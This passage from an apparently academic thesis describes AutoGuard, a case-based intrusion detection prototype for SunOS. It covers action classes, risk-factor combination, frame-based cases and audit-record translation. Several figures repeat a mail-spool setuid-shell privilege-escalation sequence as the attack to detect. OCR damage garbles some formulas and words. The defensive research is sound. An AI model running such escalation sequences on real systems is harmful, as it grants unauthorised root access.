REMOVE
EXECUTION

Semantic
Copies a file
creates a new file
moves and/or
renames a file
prints a file
linksfilesin
directories
changes access
rights
sends email
debugs binaries
removes a file
executes binaries

Elements of the class

Arguments

cp, cat, more, less, zcat
touch, vi, jove, emacs, ...

origin, destin
subject
origin, destin

mv
lpr, lp

ln

option, subject, destin
option, subject, destin

chmod, umask, ...

option, subject

elm, mail, pine, ...
db, xdb, ...

recver, subject
subject
subject
subject

rm
exec, sh, csh, .. .

Table 4.3: C o m m a n d classes used for the Unix operating system.

Sequences (All's) can be represented using class representation instead of instances
of U N I X commands. A's can be used to represent classes of activities and commands
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on the system. These classes contain different commands and utilities of the U N I X
operating system with the same features and abilities. Using these classes, it is possible
to introduce equivalent scenarios which do the same thing using equivalent commands.
The selection of classes is based on the compatibility of the members of each class.
C o m m a n d s in these classes have one or more arguments.
Another advantage of representing an intrusion using classes is that it allows the
same model to be applicable to different operating systems. Figure 4.12 illustrates the
example scenario in Figure 4.10 as it appears in a case, based on the class definition of

Table 4.3.
D U P L I C A T E = is an instance of Ai
origin = is a member of (Restricted-Write File)
dest = is a member of File-Set # 4 (filel)
A C C E S S - C O N T R O L = is an instance of A6
option = is 4755
argument = is a member of File-set # 4 (filel)
F I L E - C R E A T I O N = is an instance of A2
subject = file2
M A I L = is an instance of As
receiver = root
subject = file2
EXECUTION
subject = is a member of File-Set # 4 (filel)

Figure 4.12: The intrusion scenario in a case.

In some cases a strict order of the actions is not necessary, although in most in
scenarios it is. For example, two consecutive actions may be swapped and still the
unauthorized access succeeds. This happens when one action is not required for the
other to succeed. Hence an intrusion in general corresponds to a set (T) of permutation
of intrusion sequences.
Some commands need previous actions to succeed, for example, to change the access
modes of afile,thefilemust exist before the action could be completed. For example
to create a newfileusing touch command no previous action is required. Therefore the
intrusion scenario of Attack 2 in Figure 4.11 has another equivalent scenario which is
illustrated in Figure 4.13. Therefore, Definition 4.2 can be changed to cover the above
as well.
Definition 4.3 Two intrusion sequences 71 and 72 are equivalent if one is obtained
from the other by moving two or more non-prerequisite commands, or if one is obtained
from the other by using commands from the same class.
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Attack 1

Attack 2

cp /bin/csh /usr/spool/mail/root
c h m o d 4755 /usr/spool/mail/root
touch x
elm root < x
/usr/spool/mail/root

cp /bin/csh /usr/spool/mail/root
touch x
c h m o d 4755 /usr/spool/mail/root
elm root < x
/usr/spool/mail/root

Figure 4.13: T w o equivalent attack scenarios.

4.5.4 Risk Factors

There are certain activities on the system that the users are prevented from doing
the policy of the system they work on. These policies differ from one system to another,
but they all have some c o m m o n features. These features are mostly concerned with the
security of certain systemfilesand resources (For examples of policies see Appendix C).
Therefore, in this system a risk factor is attached to each event which determines how
harmful is the event to the security of the system. These risk factors vary from 'VeryLow', indicating no-risk activity, to 'Very-High', indicating high-risk activity. Very-high
risk factors are attached to the actions being done on thefilesand resources that normal
users are prohibited. Table 4.4 shows some risk factors. A n approach can be developed
to determine the outcome of the combination of several actions and events.
Subject

C o m m a n d Class

Option

Object

Risk Factor

-

-

-

-

root

-

duplicate
access-control
file-creation
mail
~root

Restricted-Write File

4755
-

execute

-

print

s

remove
link

-

s

File_Set # 4

in File_Set # 4
-

High

Low
-

root
in File_Set # 4
file
file
All File-Set's

High

Very-Low
Very-High
Very-Low

Low
file

Very-High

I
Table 4.4: Definition of some risk factors.
Based on the definition of Belief Functions in M Y C I N [34] we propose a technique
for combining individual risk factors (Tl) in a partial-matched case.

Definition 4.4 Suppose Si and S2 are the actions matched so far in the case, then t
combined risk factor TIT is defined as:

TlT[Sxke2] = n[Si] A Tl[£2] - Tl[£x]Tl\S2]
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or
TlT[Sxk£2] = Tl[£x] + K[S2] (1 - K[£x]).
Calculating such factor is a commutative operation, or in other words:
KT[£xk£2] = TlT[£2k£x]
This feature is necessary in the calculation of risk factors for intrusion detection
scenarios where some of the events in a scenario can be swapped and the effect of the
intrusion is still the same. T h e proposed method of calculating risk factors produces the
same result for any reordering of events in the scenario. The following is for three events
but it can easily be extended for any number of events.
TlT[£xk£2k£3) = TlT[£2k£xk£3] = TlT[£xk£3kS2] = TlT[£2k£3k£x]
If the individual risk factors are mapped from [Very-Low,Very-High] to [0,1] then the
combined risk factor is TIT < 1. The terms Very-Low, Low, High and Very-High are
defined to be equal to 0.2, 0.4, 0.7 and 0.9 respectively (See Figure 4.14).
Very-Low

Low

I

rH

0

0.2

High
r-H
0.4

rH

Very-High
r-H

0.7

0.9

1

Figure 4.14: Mapping the risk factors.

Example 4.2 Consider the case shown in Figure 4.12 and the corresponding individual
risk factors in Table 4.4. Therefore the individual risk factors will be Tl[£x] = 0.7,
Tl[£2] = 0.7, Tl[£3] = 0.4, Tl[£4] = 0.2 and Tl[£5] = 0.9. If £x and £2 are already matched
with the case, then the combined risk factor for the case is calculated as:
TlT[£xk£2] = 0.7 + 0.7(1 - 0.7) = 0.91
and after matching £3 it will increase to
TlT\£xk£2k£3\ = 0.91 + 0.2(1 - 0.91) = 0.93
and so on.
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Case Representation Schema in CBID

In this application, frames have been chosen to represent cases as they have the f
advantages:
1. Knowledge-base is partitioned into a number of small modules.
2. Frames can share knowledge about entities through inheritance.
3. Default information or default values may be incorporated using frames.
4. Procedural knowledge about how to calculate a particular attribute m a y be used.
5. D e m o n s m a y be embedded in frames and alerted when the frame is invoked.
E x a m p l e 4.3 Consider the following statement concerning the U N I X operating system:
'duplicate class is part of the U N I X commands'
This statement comprises two concepts: the concept 'duplicate class' and the concept
'UNIX commands'. These concepts are related in the sense that thefirstone, the 'duplicate class', forms a part of the second one, the 'UNIX Commands'. This knowledge is
represented by means of the graph shown in Figure 4.15.

The concepts are depicted by

ellipses, labeled duplicate class and UNIX commands; the relation between the concepts
is represented by means of an arc labeled part-of

f
\v

Duplicate

.

class

J)

Figure 4.15:

part-of

Y
\

UNIX
commands

>i
J

A graphical representation of a class.

Example 4.4 In the hierarchy illustrated in Figure 4.16, two different kinds of r
are used in representing information concerning the U N I X commands: the 'part-of
relation and the 'is-a' relation.
In this example there is a new relation, 'is-a'. This is quite a c o m m o n relation
between concepts. It reflects two different senses in which a concept can be used: here

the term concept is used to denote either an individual object or a class of objects. The
'is-a' relation m a y be used as follows:
• To express that a class of objects is a subclass of another class of objects.
• To express that a specific object is a member of certain class of objects.
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Figure 4.16: A hierarchical illustration of U N I X commands.

4.6.1

Frame-Based Representation of Cases

As mentioned earlier in Section 4.3.1, each case in this system has three different partitions: Description, Intrusion_Seq and ExampleJScenario. Each partition contains
information which helps the reasoning system to assess the current situation properly.
Figure 4.17 illustrates a case representing the scenario shown in Figure 4.10.
Frame-based representation has been used to construct each partition in the case.
A template case is shown in Figure 4.18. In this template, E X A M P L E - S C E N A R I O
contains a previously recorded instance of the attack. It is included in the case to
help the system administrator to understand what attack is occurring in the system.
D E S C R I P T I O N partition includes the description of the attack using class definition of
the commands. I N T R U S I O N - S E Q contains all the possible interchangeable sequences
of the attack.
Using the frame structure cases in the intrusion detection case-based reasoning system
can be defined as shown in Figure 4.19. Each frame uses different slots, facets and
corresponding values. For example, in DESCRIPTION

partition, £x is a slot, duplicate

is type of the slot, origin is a facet and its corresponding value is 'in RestrictedAVrite

File'.

4.7 CBID Processes
This section describes case-based reasoning processes necessary for the intrusion
tion application.
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Case N
Example_Scenario:
cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root
IntrusionJSeq:
Containing all possible sequences.
Description:
D U P L I C A T E = is an instance of Ax
origin = is a member of (Restricted-Write File)
dest = is a member of File-Set # 4 (filel)
A C C E S S - C O N T R O L = is an instance of A6
option = is 4755
argument = is a member of File-set # 4 (filel)
FILE.CREATION = is an instance of A2
subject = file2
M A I L = is an instance of A5
receiver = root
subject = file2
EXECUTION
subject = is a member of File-Set # 4 (filel)

Figure 4.17: Representation of partitions in the case.

4.7.1 Case Indexing and Organization

In a small database of cases, such as this application (with nearly 20-30 cases), t
can simply be stored in a list. However, if the set of cases grows considerably, the time
to retrieve similar cases is largely influenced by how the the cases are organized in the
case memory. Appropriate grouping or indexing of cases can permit efficient searching,
without the necessity of explicitly considering every case as a possible match for the
current problem.

Case Indexing: In Figure 4.20, the indexing scheme illustrated assumes that all ca
will be retrieved by name and that each case will be compared separately to the new
problem specification.
Since there are only about 20 cases in this system, the cases are simply stored in a
list and indexing is not used.
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C A S E : template

EXAMPLE-SCENARIO
example-of-scenario

INTRUSION-SEQ

=

command sequences

DESCRIPTION

~

attack-description

Figure 4.18: A template case.

Memory Organization: Since no indexing scheme is used, in this system the flat
memory structure using the list of cases is used.

4.7.2 Case Matching and Retrieval
The cases are indexed using the value in sequence facet in factors slot. For example
the indices for the case mail in Figure 4.19 are (£x £2 £3 £4 £5), (£1 £3 £2 £4 £5) and
(£3 £x £2 £4 £$)•

The retrieval task in C B R searches the case memory for matches between individual
cases and the pattern that serves to index the case. Each case in the case memory may
be compared to the pattern, or the pattern may provide a set of indices to partition the
case memory so only a relevant subset of cases are compared with the pattern. Retrieval
can be based on a perfect match, where the pattern is found exactly, or partial matches.
If partial matches are retrieved, a threshold may be set to determine when a partial
match is close enough.

Definition 4.5 In this system, a partial match means that the current pattern is an
ordered subset of the events in the matched pattern including thefirstevent. If 71 =
£x,£2,£3,£4,£5 is an intrusion scenario, then 72 = €u£2,S3

is a partial match to 71

shown by 72 G 71 •
Definition 4.6 The term degree of match is defined to show how much the current

situation is matched with the cases already in the memory. The accumulated risk fact
is a good measure for the degree of match for each case in the memory.

The difference between this work and traditional case-based reasoning systems is t
in normal circumstances, the case presented by the user to the system is complete except

4.7. CBID Processes

97

CASE:

mail

EXAMPLE-SCENARIO
example:
value:
" cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root "
INTRUSION-SEQ

~

factors:
seqnce: £x £2 S3 £4 £5,
£1 £3 £2 £4 £5,
£3 £\ £2 £4 £5

DESCRIPTION
£\

£2

£3
£4

£5

duplicate:
origin: in Restricted_Write File
destin: in FileJSet # 4 (?filel)
access-control:
option: 4755
argmnt: in FileJSet # 4 (?filel)
file-creation:
subjct: ?file2
mail:
recver: root
subjct: ?file2
execute:
subjct: in FileJSet # 4 (?filel)

Figure 4.19: A frame representation of the case shown in Figure 8.

for some possible constraints that might be applied later in the course of reasoni
this system, the input to the reasoner is a stream of data which is translated from the
audit record. The presented case depends on the data contained in each audit record
that the system receives (See Figure 4.21). Therefore the processes involved in this C B R
system can be listed as:
1. Auditing the users;
2. Audit translation; and
3. Matching.

When the reasoner receives the first audit trail, it will start with the first rec
in the audit trail and tries to match cases from the case memory. If it finds a partial
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Organizing a set of cases in a list in the case memory

Audit

V

Data

Figure 4.21:

Diagnosis of the

CBR

Current Situation

The C B R block diagram.

match (because matching completely does not mean much when the case presented is
not complete), it starts to reason based on the threshold defined.
If it fails, the system will then abandon the record and start with recent record from
the audit trail since, if this record is not a beginning event of a sequence, it can not be
considered as part of an intrusion. W h e n it finally retrieves a case (or several cases that
match perfectly or partially) with the limited information, the C B R system tries to rank
the cases.

Case 1

Case 2

Case 3

Si
£2
£3
£4

£2
£3
£5

£3
£2
£4

Figure 4.22:

Example of cases with similar sequences

As mentioned earlier the cases contain a sequence of user actions, for example
£x,£2,£3,£4, •. •• Suppose the system has established a case containing £US2
it receives another audit record containing £3.

and now

Further, suppose that the sequence of

£i,£2,£3 is a case in the case-base and also there is a case that starts with £3.

The
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worst case is that the current matched case in the memory does not contain £3 but there
is another case in the case-base that starts with £3 (see Figure 4.22). In this case the
system should not abandon the current case in the memory, since it is not assumed that
the intruder is acting continuously towards the intrusion. Or even it might happen that
more than one intrusion (by one or more intruders) is occurring in the system. This
procedure is illustrated more clearly in Figure 4.23.
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Figure 4.23: Matching sequence (... in Audit trail includes all the audit data which do
not match with any cases in the case memory).
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Case Ranking and Selection

Once the system retrieves all the relevant cases from the case memory and calculates the
degree of match (or accumulated risk factor), it ranks them based on the accumulated risk
factor and selects those with accumulated risk factors above the defined threshold. Then
it takes the measures and actions included in the recommended action table based on
the accumulated risk factor (e.g., preempt the intrusion, report to system administrator,
raise an alarm, . . . ) .
The system will not discard unselected cases since they might be addressing other
intrusions on the system which have not yet raised the accumulated risk factor high
enough to be considered as threats to the system.

4.7.4 Assessing New Situation
The following Algorithm illustrates how the case-base reasoning system behaves once it
receives an audit record:

begin
Repeat for all records in audit trail
determine relevant cases for comparison;
Repeat for all relevant cases
determine the degree of match;
if case match above threshold
then execute the recommended action;
end.
Since the cases are stored as a list in aflatmemory structure in the case memory, once
the system receives the first audit record it compares the first action in the Intrusion_Seq
partition in all the cases in the case memory. In this application, retrieval is based on
partial matches and there is no threshold defined for determining the degree of match
in retrieval. All the cases that match partially are retrieved to the working memory for
further processing.
The next audit event, together with the previous events, is first compared with the
cases in the working memory. To implement this concept, an active window is required to
keep all the current matched audit events to verify the matched cases. After matching the
active window with the cases in the working memory, the degree of match (or combined
risk factor) is calculated for all the cases in the working memory. If any of these have
passed the threshold, then the proper actions will be recommended. After this step, the
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latest event in the window is compared to the cases in the case memory and the retrieval
task will continue as outlined above.

Recommended Action: Since the ultimate goal of this system is to prevent the intrusions from completing, the system needs to take an action when it can predict that,
what it has been monitoring, is likely to be an intrusion. To execute the recommended
action, the system has to follow the following algorithm:

begin
if Low < combined risk factor < High
then execute monitor, ...;
else if combined risk factor < Very-High
then execute monitor, record, .. .;
else if combined risk factor > Very-High
then execute record, preempt, ...;
end.

4.7.5 Case Adaptation
A selected case m a y provide a solution to the new situation. However, the selected case
m a y need some modifications to be appropriate as a solution to the new problem. For
example, the intrusion detection C B R system may recall a similar case but the user,
for which the new case is being assessed, is logging in from a site different from the
one described in the case. Therefore the new constraint has to be considered and the
evaluation has to be modified.

4.7.6 Learning
There might be situations that the intrusion detection system receives audit records
which illustrate the risk to the system (using risk factors) but it can not arrange them
and match them against any cases in the case memory. The possible solution is to have a
hybrid system including a rule-based system and make the rule-based system responsible
for taking measures against these situations. As mentioned earlier, all the related audit
records are also stored in the audit storage (see Figure 4.9). It is possible to make the
system learn about new intrusion scenarios including those risky events with the help of
the system administrator (it might need a graphical user interface for ease of operation
on the system administrator side).
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The second method of learning for the case-based reasoning module is to have a
statistical library for all the possible equivalent scenarios for each intrusion scenario.
Whenever it detects an intrusion, it can increment the counter for the equivalent scenario
which was used by the intruder. After a period the contents of these counters can be
used to devise indexes for the rule-base module for faster and more efficient detection.

4.8 Summary

This chapter briefly described case-based reasoning and the issues involved in des
a case-based reasoning system. C B R involves applying past experience, in the form of
prior cases, to guide current decision making. In essence, a case-based reasoner assigns
an outcome to a problem based on the outcomes of relevant prior cases. A prior case
may be a template for a solution to the problem or the basis for an argument of how to
decide it. Either way, an outcome is assigned to a problem based on a relevant prior
situation.
C B R provides a useful approach for organizing knowledge about past intrusions into
computer systems and facilitates mechanisms for retrieving and using relevant past cases
to solve and reason about new situations. In this chapter a schema for representation
and organization of cases was presented.
This chapter also described an appropriate model for organizing past intrusion cases
effectively and to support various processes required in case-based reasoning. The data
was collected from different published papers and theses to construct the case memory.
The design of a case-based intrusion detection system was discussed and the necessary
issues for such a system was outlined.

Chapter 5
AutoGuard: A Case-Based Intrusion
Detection System

5.1

Introduction

Chapter 4 illustrated an overview of case-based reasoning and the issues involved
designing a case-based reasoning system. It also proposed a model for case-based approach for intrusion detection. In this chapter we describe the architecture of the prototype we built based on the model described in Chapter 4. The prototype, called
AutoGuard, serves as a proof of concept implementation of the model.
W e have used C / C + + as the programming language for the implementation of the
prototype. The prototype runs under the SunOS 4.1.3 operating system and uses the Sun
B S M audit trail as its input. The programming techniques and language features we have
used for the implementation are applicable to other programming languages as well. The
implementation is directed at providing a case-based intrusion detection system which
is able to effectively predict and detect an ongoing intrusion on the computer network.
Measurements of the time requirements of the implementation is also presented.
The choice of the language was dictated by the following reasons, which are not
unique to C / C + + :

• The free availability of quality implementations of the language. Not only is th
helpful for developing software, it is important for wide-spread acceptance if the
implementation is distributed in source form for others to modify and adopt to
their environments. W e have used the 'gnu' C / C + + compilers for our prototype.
• Our familiarity with C/C++ and its development environment. In the interest
of building a working prototype quickly, we capitalized on our knowledge of the
language and the development environment provided by 'gnu' team.
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5.2. Continuous Case-based reasoning

The set of cases and the reasoning program we have developed for misuse intrusion
detection can be programmed in any other programming languages as well because no
properties specific to C / C + + have been assumed or used.

5.2 Continuous Case-based reasoning
Case-based reasoning has been shown as a powerful and useful technology for solving problems in domains such as design, planning and diagnosis which can be readily described by symbolic representations. However, there are some problem domains
which require continuous and real-time performance. Examples of such domains include
autonomous robotic navigation, intrusion detection and stock market predication. R a m
and Santamaria [161] proposed a new case-based reasoning approach called continuous case-based reasoning that addresses the above problems. Continuous C B R requires
continuous representations, continuous performance, and continuous learning.

In t

following section w e describe a continuous case-based reasoning approach to intrusion
detection.

5.2.1 Continuous CBR for Intrusion Detection
A case-based intrusion detection system maintains a case-base in which past intrusions
are stored. A case in such a system represents an intrusion sequence that consists of a
sequence of actions.
W h e n a new audit record is received, the system retrieves relevant intrusion cases
from the case-base and uses those cases as a basis to evaluate and assess the new events.
A typical Case-Based Intrusion Detection (CBID) process includes the steps as shown
in Figure 5.1.
The sequence of low level audit records are first translated into a sequence of high
level action classes in an audit translator. The input data to the C B R module is called
an scenario consisting of a sequence of events. Each event is one or more entries in the
audit trial and is described by a number of arguments. Given a scenario made up of
N events, the case-based reasoner searches the case base and retrieves cases that match
those N events partially or perfectly. The issue following retrieval is to establish how
close a case is to providing a solution to the new intrusion problem. In order to compare
and rank cases, the Case-based reasoner uses the concept of risk factor which represents
the degree of risk associated with an event (see Table 4.4). W h e n the combined risk
factor assigned to a case exceeds a threshold value, the system determines a possible
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Figure 5.1: Case-based intrusion detection process.
intrusion and recommends an appropriate action. Otherwise the system continues to
monitor and guard the system in the same fashion.
AutoGuard's design uses groups of files or directories (calledfile-sets)that share
certain characteristics which make them vulnerable to certain types of attack scenarios.
These file-sets provide a very convenient way of generalizing the intrusion scenarios. The
following sections further illustrate the overall design of AutoGuard by providing a high
level discussion of a system specific prototype implementation. The target operating
system for the prototype has been chosen to be Unix for the following reasons:
1. the availability of documentation regarding the implementation of its file system,
process structures and audit mechanisms,
2. the availability and abundance of data regarding Unix security flaws and penetration scenarios, and
3. the availability of Unix for implementing and testing the prototype in an academic
environment.
The following sections discuss the Unix-specific implementation details of the individual data and code modules that collectively make-up AutoGuard. There are three
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data modules identified in this chapter: the fact-base, the case-base and the decision
table. Section 5.4 discusses the contents of these data modules as they are implemented
within a Unix system.
The AutoGuard code modules consist of the following components: the audit record
translator, the fact-base initializer, the case-base reasoning module, and recommended
action module.
Before describing the prototype implementation, several key issues and assumptions
regarding the AutoGuard target environment must be discussed. The first issue is regarding the version independence of the case-base within the prototype knowledge-base.
Appendix B provides a suit of Unix intrusion scenarios (penetrations), most of which are
version specific. However, for the purposes of this prototype description, no distinction
will be m a d e between the intrusion scenarios and their uniqueness to certain Unix version
numbers. Another important assumption is regarding the hard-ware architecture of the
target system. Unix has been implemented on a wide variety of systems, ranging from
single-user micro-computers, to multi-user computer systems and even larger distributed
environments. Each architecture provides a unique set of issues regarding potential security flaws, as well as issues involving audit collection. AutoGuard assumes a multi-user
environment with a central audit collection repository. Finally, the AutoGuard Recommended Action Module is directly influenced by the level of security required by the
target system. Security-critical systems will have a greater need to facilitate preemption
than non-security-critical systems.

5.3 Implementation of AutoGuard

The approach described in Chapter 4, has been implemented into a prototype, on Unix
operating system. This prototype, called AutoGuard, is for SunOS 4.1.3. AutoGuard is
designed to be a real-time system which is able to preempt an attack before any serious
damage is done. AutoGuard uses the audit collection mechanism that exists as an addon package to SunOS 4.1.3 called C2-BSM (Basic Security Module) 1 together with the
evolving field of case-based reasoning.
A number of design support issues have been considered in the development of AutoGuard.

• The system should be able to preempt an attack before any serious damage is done.
iThe C2-BSM is designed to be compliant with the TCSEC requirements for a system at the C2
classification [195].

5.3. Implementation of AutoGuard

107

• It should allow the system security officer to browse through the cases already in
working memory.

• The system should report to the system security officer of any suspicious activi
it encounters.
• The system should include a GUI (Graphical User Interface) to offer the system
security officer better access to the knowledge encoded in the system.
• The system should provide a user-friendly case-entry module.
Currently AutoGuard implements the following features:
• It contains a command-line case-entry module.
• It reports all the matched cases in the working memory and also the depth of match.
• It ranks the retrieved cases based on the combined risk factor.
• It recommends the system security officer the appropriate actions to preempt or
reduce the damage.
AutoGuard is centered around a case-based reasoning system. A schematic layout
and control flow of AutoGuard is illustrated in Figure 4.9. It is a modular design,
consisting of the following five major components: audit translator, case entry module,
case-base, C B R engine and the action recommendation module.

5.3.1 Audit Translator
Intrusion scenarios are normally documented as a sequence of operating system commands. However, an intruder m a y use commands with equivalent semantics to succeed
in his attack. To reduce the dependency of intrusion scenarios on the actual commands
and audit data, a higher-level representation is used for intrusion scenarios.

Overview of SunOS 4.1 Audit Record Implementation
The first step in understanding the translation process from SunOS audit records to the
AutoGuard prerequisite format is to understand what informal ion is maintained in the
SunOS audit trail. This section provides a brief overview of the structure and contents
of the SunOS audit record format. For more information on SunOS audit records and/or
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record size
record type
record event
time
real U I D
audit U I D
effective U I D
real group U I D
process ID
error code
return value
label
no. of parameters

Table 5.1: SunOS Audit Record Header

the audit utilities that create and maintain the audit records, the reader is refe
[141].
The S u n O S Release 4.1 audit facility is provided within Sun's C 2 add-on Security
Package. The C 2 Security Package provides SunOS environments with improved password security, the ability to audit nearly all system events and a password requirement
for single-user boots.
S u n O S audit records are divided into two sections: a hxed length section and a
variable, event-dependent section. The two sections are concatenated together, producing
variable length audit records, whose sizes depend on the events that generated them. The
fixed length section, or record header, consists of thirteen fields, which are listed in Table
5.1.
The record size field specifies the size of the record. The record type field specifies
the system call that was responsible for the audit record, and also indicates the format
of its variable portion. The record eventfieldspecifies which event was performed by
the system call, and is defined using the set of event classes in Table 5.2. Event classes
are used by the AutoGuard Audit Translator to determine the signature actionfieldof
the corresponding AutoGuard audit record, and are discussed further in Section 5.3.2.
The timefieldis used to record both the date and time that the event occurred. The real
UID, audit UID, effective U I D and real group UIDfieldscollectively specify the user,
and privileges, on whose behalf the audit record was generated. Note that of these four
fields, all but the audit U I D field correspond directly to the R U I D , E U I D and G U I D
process attributes, which are standard on Unix systems. The audit U I D is similar to
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dr
dw
dc
da
lo
ad
PO
Pi
sr
sc
as
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Long N a m e

Short Description

data_read
data_write
data_create
data_access_change
loginJogout
administrative
minor privilege
major privilege
spooler _read
spooler_control

read of data, open for reading, etc.
write or modification of data
creation or deletion of any data
change in object access (modes, owner)
login, logout, creation by at d a e m o n
normal administrative operation
privileged operation
unusual privileged operation
read in spooler area
controlling the spooler area
assigning a device

device_assign

Table 5.2: Audit Event classes defined for the Record Event Field

the real U I D , with the exception that unlike the real U I D field, the audit U I D will not
change as a result of the successful execution of su(l). T h e process IDfieldrecords the
pid of the process responsible for the audit record. T h e error codefieldrecords the error
value produced by a failed system call, and the return value field records the value that
is returned by the system call. T h e label field is unused in this implementation. Finally,
the 'no. of parameters' is a set of two byte integers containing the number of parameters
following the header. These numbers are the lengths of the additional data items. T h e
additional data items follow the list of lengths, thefirstlength describing the first data
item. Interpretation of this data is left to the program accessing it.
T h e variable portion of the audit record structure is dependent on the system call or
program responsible for the audit record's creation. T h e full list of the individual system
call variable portions is beyond the scope of this thesis, but the interested reader can
refer to [141]. T h e key point to note regarding the variable section is that it consistently
provides the identity of the object that was manipulated by the system call or program
that was responsible for the record. For example, the variable portion of the creat(2)
system call audit record identifies the full pathname of thefilecreated by the call. T h e
following section presents a mapping from the S u n O S Release 4.1 audit record format
to the AutoGuard prerequisite audit record format.

5.3.2 Translating SunOS Audit Records
T h e audit translator/preprocessor is responsible for reading,filteringand passing the
B S M audit records to the C B R engine in the required format by AutoGuard. It m a p s
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a combination of the 74 different events which are audited by B S M to only 10 different

classes: Duplicate, File Creation, File Moving, Print, Link, Access Control, Mail, Deb
Remove and Execution. The C B R engine operates using these 10 action classes. Table
4.3 lists the 10 different AutoGuard's action classes.
The translator also takes the return value of an event into account. Unlike U S T A T
[93, 94], it does notfilterout the B S M records that indicate a return value - 1 , which
indicates that the call made by the user was not successful.
According to AutoGuard design, the audit record structure is defined by the fivetuple:

< Subject, Success, Action, Object, Time of Action >

Example:
gl54 s (4 -s) (file2 filel) 838288264
shows that user gl54 was successful in linking symbolically filel to file2 at the
which is shown in a long format as 838288264.
Figure 5.2 summarizes the mapping between the AutoGuard prerequisite audit record
format and the SunOS Release 4.1 C 2 audit record format. The subject is identified by
its unique ID and privileges, the action is defined as one of ten action classes listed in
Table 4.3, and the object is defined by its unique ID. The.success or failure of the action
is set based on the return code and the time of action is exactly the same as the one in
the time field.
Since most scenarios are applicable to more than one particularfile[95], instead of
duplicating the scenario for each possiblefileas a new case, files that share c o m m o n
characteristics are grouped together into groups calledfile-sets.These characteristics
are usually attributes which are not kept by thefilesystem, but rather those that are
assigned to thefilesby the users, e.g., systemfiles,which can be identified by looking
at the directories where they are located.
One point to keep in mind is that AutoGuard, like all intrusion detection implementations, requires a specific set of data that the target system provides within its audit
trail in order for AutoGuard to perform to its full potential. Target systems that do not
meet all of the audit data requirements will limit, but will not necessarily prevent, this
tool from performing an effective search for intrusions.
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Audit U I D
Real U I D
Effective U I D
Real Group U I D
Return Code
Record Type

i

i
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Action
Object

Record Event
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»•

Time

Time
Error Code
Label
Variable Segment
of SunOS Audit
Record Format

Figure 5.2: Mapping of SunOS Release 4.1 C2-BSM audit record format to AutoGuard
prerequisite audit record format

5.4 The AutoGuard Knowledge-Base

The description of the AutoGuard Knowledge-base is broken into two sections. First
the AutoGuard fact-base, which contains a collection of Unix specific data necessary for
the AutoGuard case-based reasoner module. The purpose of the fact-base is to collect
and maintain information that AutoGuard believes to be true regarding its execution
environment. In this case, the primary function of the fact-base is to identify and maintain lists offilesthat possess characteristics exploitable by Unix intrusions. Second, the
AutoGuard case base which contains the cases encoding the actual intrusion scenarios.

5.4.1 The AutoGuard Fact-Base
In U N I X , there are a number of potential object-sets, in this case file-sets, as well as a
number of key files that are so vital to U N I X security that any modification or reference
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to them by a non-administrative user is enough to warrant an action from the IDS.
Following U S T A T [93, 94], for the purpose of this study, we identify two keyfile-setsand
six file-sets.
The two keyfile-setsare Restricted-Read Files and Restricted- Write Files.
Restricted-Read Files• /dev/kmem
• /dev/mem
Restricted- Write Files
• /etc/*
• /bin/*
• /.*
• /usr/etc/yp*
• /usr/ucb/*
•filesreferenced in /usr/lib/crontab
Members of the keyfile-setsare designated via their unique full pathnames. The
system key files are broken into two sets: Restricted-Read and Restricted Write. The
two restricted-read keyfilesare restricted in the sense that each contains sensitive information that if read by a non-administrative user could compromise the security of
the system. For example, Discolo [50] illustrates one penetration in which cleartext
passwords are stolen directly from thefile/dev/kmem. O n the other hand, there are
legitimate user accessible utilities such as ps(l) that provide limited access to some of
the non-security critical data within /dev/kmem. Therefore, the Inference Engine must
not only monitor references to the restricted-readfiles,but should be able to distinguish
between those references performed through the execution of U N I X utilities specifically
provided to reference thesefilesfrom those references that are not.
The restricted-write keyfilescan be broken into two types: datafilesand publicly
executable system utilities. A n example of a restricted-write data file is /etc/passwd.
Like /dev/kmem, U N I X provides specific utilities that allow users to modify /etc/passwd
in a secure manner. Hence, the Inference Engine must be able to distinguish those writes
that occur using the appropriate U N I X utility from those writes that do not. Executable
systemfilesare included in the set of restricted-write key files in recognition of the
potential damage that could occur if these files were subverted into Trojan horses or
infected by viruses. Trojan horses and viruses are particularly damaging when written
into publicly executable utilities.
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File Set # 1

All setuid/setgid enabled scripts containing #!/bin/sh mechanism

File Set # 2

All binary executablefilesthat are setuid/setgid enabled

File Set # 3

All setuid/setgid enabled files

File Set # 4

All designated mailfilesin /usr/spool/mail

File Set # 5

All utilities authorized to reference Restricted Read key file-set

File Set # 6

All utilities authorized to reference Restricted Write key file-set

T h e key c o m m o n factor a m o n g four of the above six file-sets is that each is described
in terms of one or m o r efileattributes. For example, thefirstthreefile-setsall specify that
their m e m b e r s arefileswith the setuid/setgid bit enabled. File-set # 1 further requires
thefilesto be scripts containing the #!/bin/sh mechanism, which can be determined
using the grep(l) utility. File-set # 2 specifies all setuid-setgid binaryfiles,which can be
determined using a process similar to that used in thefile(l)utility. File-set # 3 is the
set of all setuidfileson the system. File-set # 4 specifies all designated M A I Lfileson the
system (i.e., thosefilesin the /usr/spool/mail/ directory with names that correspond
to user accounts). File-set # 5 and # 6 specify the sets of user accessible system utilities
intended to provide access to the restricted read and writefile-sets.A n excellent model
to aid in the development of the fact-base initializer, whose job is to create the above
file-sets, is the C O P S file attribute checker [62].

5.4.2 Case-Base
T h e case base stores all the scenarios as cases using the action class definitions. Currently,
it contains 12 cases each representing previously k n o w n intrusion scenarios. This cases
have been acquired consulting four different papers and Masters theses [155, 51, 112, 93].
T h e cases are entered into the case base using a notion called frames [65, 66]. Figure
5.3 illustrates an example of a case in the case base. Each case contains three partitions:
Example-Attack, IntrusionSeq and Description. Example-Attack contains an actual
example of the attack which is encoded in the case. Intrusion^eq shows different
possible permutations of the events in the case and Description encodes the actual
events in the case.
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Case name:
Mail_C
Example-Attack:
cp /bin/csh /usr/spool/mail/root
chmod 4755 /usr/spool/mail/root
touch x
mail root < x
/usr/spool/mail/root
IntrusionJSeq:
£1,^2,£3,£4,£5
£i,£3,£2,£4,£5
£3,£i,£2,£4,£5

Description:
£1
DUPLICATE
origin = in Res_Write
dest = in File_Set # 4
£2
ACCESS-CONTROL
option = 4755
argument = in File-set # 4
£3
FILE.CREATION
subject = filel
£4
MAIL
receiver = root
subject = filel
£5
EXECUTION
subject = in File-Set # 4

Figure 5.3: A n example case representing an intrusion scenario.

5.4.3 Case-Entry Module
This module allows the system security officer to enter new cases to produce new
